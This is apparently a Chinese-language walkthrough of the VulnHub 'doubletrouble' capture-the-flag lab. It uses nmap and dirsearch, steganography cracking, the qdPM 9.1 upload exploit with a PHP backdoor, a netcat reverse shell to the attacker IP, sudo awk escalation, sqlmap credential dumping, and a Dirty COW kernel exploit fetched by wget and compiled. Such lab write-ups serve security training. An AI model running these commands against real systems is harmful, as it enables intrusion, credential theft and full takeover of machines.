VulnHub:doubletrouble1

靶机下载地址

trouble1

信息收集

主机发现

攻击机ip:192.168.31.218,扫描攻击机同网段存活ip。

nmap 192.168.31.0/24 -Pn -T4

 

确认目标机ip:192.168.31.174

端口扫描

nmap 192.168.31.174 -A -p- -T4

开放了22,80端口。

目录扫描

访问http服务,首页是一个登录页面,通过邮箱密码登录,直接放弃bp爆破。根据页面信息可知使用了qdPM 9.1版本(qdPM是一款基于web的开源项目管理工具)。

目录扫描。

dirsearch -u http://192.168.31.174

扫描出来的路径都看了一遍,没什么发现,在/secret/下发现一张图片。

渗透

目前仅有的一条线索——doubletrouble.jpg,将图片下载到本地,尝试图片隐写。jpg图片隐写,使用steghide分离隐藏信息。

# 将隐藏信息从载体中分离出来
steghide extract -sf doubletrouble.jpg

提示需要密码,但是根本没有密码相关信息。

查了一下,还有个工具stegseek可以爆破密码并提取出隐藏信息。(kali中默认没有安装这个工具,需要自行安装)

# 安装stegseek
apt install stegseek
# 检查是否安装成功
stegseek --help
# 使用字典暴力破解
# --crack [stegofile.jpg] [wordlist.txt] [output.txt]
stegseek --crack doubletrouble.jpg /usr/share/wordlists/rockyou.txt output.txt

隐藏信息如下:

otisrush@localhost.com otis666

很明显是邮箱地址和密码。

qdpm漏洞利用

拿着图片隐写获取的邮箱地址和密码登录http服务,进入qdpm操作页面。

百度搜索得知qdPM 9.1版本存在命令执行漏洞,攻击者可以通过上传恶意的.php文件利用该漏洞在服务器上执行任意命令。偷懒先用searchsploit找一下有没有可利用的exp。

searchsploit qdpm,有两个远程命令执行的exp,这里我用的是50175.py。

将exp复制到工作目录,看下如何使用exp。

searchsploit -m 50175.py
cat 50175.py

使用方法如下:

python3 50175.py -url http://192.168.31.174/ -u otisrush@localhost.com -p otis666

执行后发现报错SyntaxError: unterminated string literal (detected at line 95),意思是在95行发现语法错误:未终止的字符串文本。根据报错提示对代码进行修改,其实也就是把报错的行后面的内容缩进到一行。例如:

修改成:

这个exp脚本有很多类似的错误,一一修改即可。

成功生成一个后门。

访问http://192.168.31.174//uploads/users/?cmd=whoami下的backdoor.php文件。

试一下http://192.168.31.174//uploads/users/410417-backdoor.php?cmd=whoami 

使用nc进行反弹shell。

?cmd=nc -e /bin/bash 攻击机ip port
nc -lvvp port

切换交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo提权

sudo -l提权。awk提权。

sudo awk 'BEGIN {system("/bin/sh")}'

提权到root,没有找到flag,找到了第二个trouble,所以doubletouble是两个镜像文件的意思。

trouble2

靶机搭建

目标机开启简易http服务,让宿主机下载doubletrouble.ova。

python3 -m http.server

下载好后在virtualbox中打开虚拟机,网络配置修改为桥接。

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标机2的ip是:192.168.31.172

端口扫描

对目标机2进行端口扫描。

nmap 192.168.31.172 -A -p- -T4

目标机2开放了22,80端口。

web信息收集

访问80端口的http服务,首页是一个管理员登录页面。

dirsearch扫描目录没有任何发现。

渗透

sql注入

http服务没有其他页面可以作为突破口,既然只有一个登录框,那就尝试弱口令,sql万能密码,都不行。sqlmap跑一下:sqlmap.py -u http://192.168.31.172/index.php --forms --dbs。发现存在时间盲注,直接爆出数据库名。

# 爆doubletrouble下的表
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble --tables --batch

doubletrouble数据库存在users表。

# 爆字段名
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble -T users --columns --batch 

继续爆用户名和密码。

sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble -T users -C password,username --dump --batch

用户1:montreux

密码:GfsZxc1

用户2:clapton

密码:ZubZub99

可是两个用户名和密码都无法登录。开放了22端口,登录ssh服务试试,仅clapton用户登录成功,拿到clapton的shell。

get user.txt

内核提权

内核提权uname -a

内核版本是3.2.78,搜索该版本漏洞searchsploit linux 3.2.78。找到几个可以用的脏牛提权脚本。

这里我使用40839.c这个脚本,看一下脚本如何使用。根据提示,需要先编译脚本,执行进行提权,之后切换到firefart用户即可。

将脚本上传到目标机2。

# 将脚本复制到工作目录
searchsploit -m 40839.c
# 在脚本所在目录开启简易http服务
python3 -m  http.server
# 目标机下载脚本
cd /tmp
wget http://192.168.31.218:8000/40839.c
# 编译
gcc -pthread 40839.c -o 40839 -lcrypt
# 运行
./40839

运行,输入新密码123456。

切换用户su firefart

get root.txt🎆

  • 20
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值